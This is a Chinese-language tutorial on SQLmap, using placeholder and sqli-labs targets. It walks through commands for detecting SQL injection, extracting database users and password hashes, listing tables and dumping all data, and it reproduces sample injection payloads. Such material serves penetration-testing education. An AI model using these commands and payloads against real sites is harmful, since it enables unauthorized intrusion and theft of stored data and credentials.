SQL注入工具之SQLmap入门操作

了解SQLmap

基础操作

SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞。

以下是SQLmap的入门操作步骤:

  • 1.下载SQLmap:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。

  • 2.打开终端:在终端中进入SQLmap所在的目录。

  • 3.输入命令:使用以下命令运行SQLmap

python sqlmap.py -u <目标URL>

其中,<;目标URL>;是指要测试的网站的URL地址。

  • 1.运行测试SQLmap会自动检测目标网站是否存在SQL注入漏洞,并给出测试结果。

  • 2.利用漏洞:如果SQLmap检测到目标网站存在SQL注入漏洞,可以使用以下命令利用漏洞:

python sqlmap.py -u <目标URL> --dbs

这个命令将会列出目标网站的所有数据库。

  • 1.获取数据:可以使用以下命令获取数据库中的数据:

python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump

其中,<;数据库名>;和<;表名>;是指要获取数据的数据库和表的名称。

功能

虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用。

SQLMap是一个自动化的SQL注入工具,其主要功能包括

  1. 扫描、发现并利用给定URLSQL注入漏洞。

  2. 内置了很多绕过插件,支持的数据库是MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft AccessIBM DB2SQLiteFirebirdSybaseSAP MaxDB

  3. 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

  4. 支持HTTP代理,可以在使用代理时进行注入测试。

  5. 支持多线程,可以同时测试多个注入点。

  6. 支持自定义HTTP头和Cookie

  7. 支持自定义注入语句。

  8. 支持自定义注入深度和注入等级。

  9. 支持自定义报告输出格式。

  10. 提供wafipsids检查和绕开,采用代理实现隐藏注入

  11. 可以导出数据库表和列,自动识别破jie哈希口令

  12. 支持脱库

使用SQLmap

软件安装

kali LinuxWindows环境中都有,kali是自带SQLmap

基础操作

 

SQLmap --v  //显示版本信息

SQLmap -h  //帮助

SQLmap -hh  //详细帮助

-level=LEVEL  //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

--risk=RISK  //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log  这个目录下,这是一个隐藏文件夹

GET注入原理

 SQLmap是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。

它可以通过GETPOST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。

以下是SQLmap进行GET注入的原理:

  1. SQLmap会向目标URL发送一个GET请求,同时在URL中注入恶意代码。

  2. 目标服务器接收到请求后,将恶意代码传递给后端数据库。如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。

  3. SQLmap会分析返回的结果,以确定是否存在SQL注入漏洞。

以下是一个使用SQLmap进行GET注入的示例命令:

sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch

初级扫描方案

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL

sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

我们也可以使用一个参数--batch,这个参数可以省去SQLmap询问,直接选择默认项,例如上面的扫描语句可以写成:

sqlmap -u "http://xxx/Less-1/?id=1" --batch

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

 扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 5728=5728 AND 'IxVn'='IxVnType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiyType: time-based blindTitle: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)Payload: id=1' OR SLEEP(5)#Type: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

 对于需要登录的网站,我们需要指定其cookie

我们可以用账号密码登录,然后用bp抓取其cookie填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

更便捷的做法:通过抓取http数据包保存为文件

这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便

如下,我们保存网站的访问数据包为data.txt文件:

sqlmap -r data.txt -p id

可以看到,我的网站存在防CSRF公鸡,SQLmap注入失败

 查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

 查看数据库当前用户

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

current user: 'sqlilabs@localhost!'

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

 当前用户是不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

 查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前数据库信息:

(03:25:33] [INFO] fetching currentdatabasecurrent database: 'security'

爆出指定数据库(securty)中的所有的表:


sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

爆出指定数据库指定表中的所有的列: 

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

举例如下:

基本语法:

SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap的基本语法:

sqlmap [options]

其中,options包括:

-u:指定目标URL

--data:指定POST请求的数据。

--cookie:指定cookie

--level:指定测试的等级(1-5)。

--risk:指定测试的风险等级(0-3)。

--dbs:获取所有数据库。

--current-db:获取当前数据库。

--tables:获取指定数据库中的所有表。

--columns:获取指定表中的所有列。

--dump:获取指定表中的所有数据。

-v:指定详细程度(0-6)。

以下是两个SQLmap的例子:

1.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

 2.获取指定表中的所有列

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/479183.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Maxwell - 增量数据同步工具

前言 今天来学习一个新的大数据小工具 Maxwell &#xff0c;它和 Sqoop 很像。Sqoop主要用于在 Hadoop &#xff08;比如 HDFS、Hive、HBase 等&#xff09;和关系型数据库之间进行数据的批量导入和导出&#xff0c;而 Maxwell 则主要用于监控数据库的变化&#xff08;通过监控…

D258——可单电源或双电源 工作,应用范围包括变频放大器、DC增益部件和所有常规运算放大电路。

D258是由两个独立的高增益运算放大器组成。可以是单电源工作&#xff0c;也可以是双电源工作,电源的电流消耗与电源电压大小无关。应用范围包括变频放大器、DC增益部件和所有常规运算放大电路。 主要特点&#xff1a; ● 可单电源或双电源 工作 ● 在一个封装内的两个经内部补…

《软件方法(下)》8.2.5.2 属性是否直接描述类(202402更新)(1)

8.2.5.2 属性是否直接描述类 类和属性连在一起说"类的属性"&#xff0c;应该能直接说得通&#xff0c;否则类和属性的搭配是不合适的。这个时候应该找到或建立合适的类&#xff0c;把该属性移进去。 例如图8-57&#xff0c;“人员的组织名称”是“人员的组织的名称…

如何使用Docker搭建YesPlayMusic网易云音乐播放器并发布至公网访问

文章目录 1. 安装Docker2. 本地安装部署YesPlayMusic3. 安装cpolar内网穿透4. 固定YesPlayMusic公网地址 本篇文章讲解如何使用Docker搭建YesPlayMusic网易云音乐播放器&#xff0c;并且结合cpolar内网穿透实现公网访问音乐播放器。 YesPlayMusic是一款优秀的个人音乐播放器&am…

HTML 字符实体参考清单

前言 一些字符在 HTML 中是预留的&#xff0c;拥有特殊的含义&#xff0c;比如小于号‘<’用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符&#xff0c;我们必须在 HTML 源码中插入字符实体。 字符实体有三部分&#xff1a;一个和号‘&’和一个实体名…

AI破局俱乐部,你要了解的都在这里

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。&#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精通…

见微知著:数据可视化助力数字化时代决策智慧

在数字化时代的浪潮中&#xff0c;数据可视化显然是推动数字化进程不可或缺的利器。通过将复杂的数据转化为直观的图形和图表&#xff0c;数据可视化为企业和组织提供了更清晰、更有效的方式来理解和应用大量的数字信息。下面我就以可视化从业者的角度&#xff0c;来简单聊聊这…

java 使用documents4j将XML转为pdf文件的方式

1.背景&#xff1a; 通过spire.doc.free将word转换成PDF时存在缺陷&#xff1a;只能获取前3页。获取全文另外需支付费用。 2.解决办法 使用documents4j&#xff0c;documents4j会保留原word文件中更多的样式&#xff0c;如修订模式下的差异化字体颜色、文档右侧修订记录等。 …

一键转换,HTML秒变PDF!高效分享,无处不在!

在信息爆炸的时代&#xff0c;HTML格式的文档以其丰富的内容和灵活的排版&#xff0c;广泛应用于网页制作、电子邮件、在线报告等场景。然而&#xff0c;有时我们需要将HTML文档转换为PDF格式&#xff0c;以便于分享、打印或存档。此时&#xff0c;一款高效、易用的HTML转PDF工…

Leo赠书活动-16期 名校毕业生教材

Leo赠书活动-16期 名校毕业生教材 ✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 赠…

【Leetcode 1696】跳跃游戏 VI —— 动态规划

1696. 跳跃游戏 VI 给你一个下标从0开始的整数数组nums和一个整数k。 一开始你在下标 0处。每一步&#xff0c;你最多可以往前跳k步&#xff0c;但你不能跳出数组的边界。也就是说&#xff0c;你可以从下标 i 跳到[i 1&#xff0c; min(n - 1, i k)]包含 两个端点的任意位置…

Milvus向量库安装部署

GitHub - milvus-io/milvus-sdk-java: Java SDK for Milvus. 1、安装Standstone 版本 参考&#xff1a;Linux之milvus向量数据库安装_milvus安装-CSDN博客 参考&#xff1a;Install Milvus Standalone with Docker Milvus documentation 一、安装步骤 1、安装docker docke…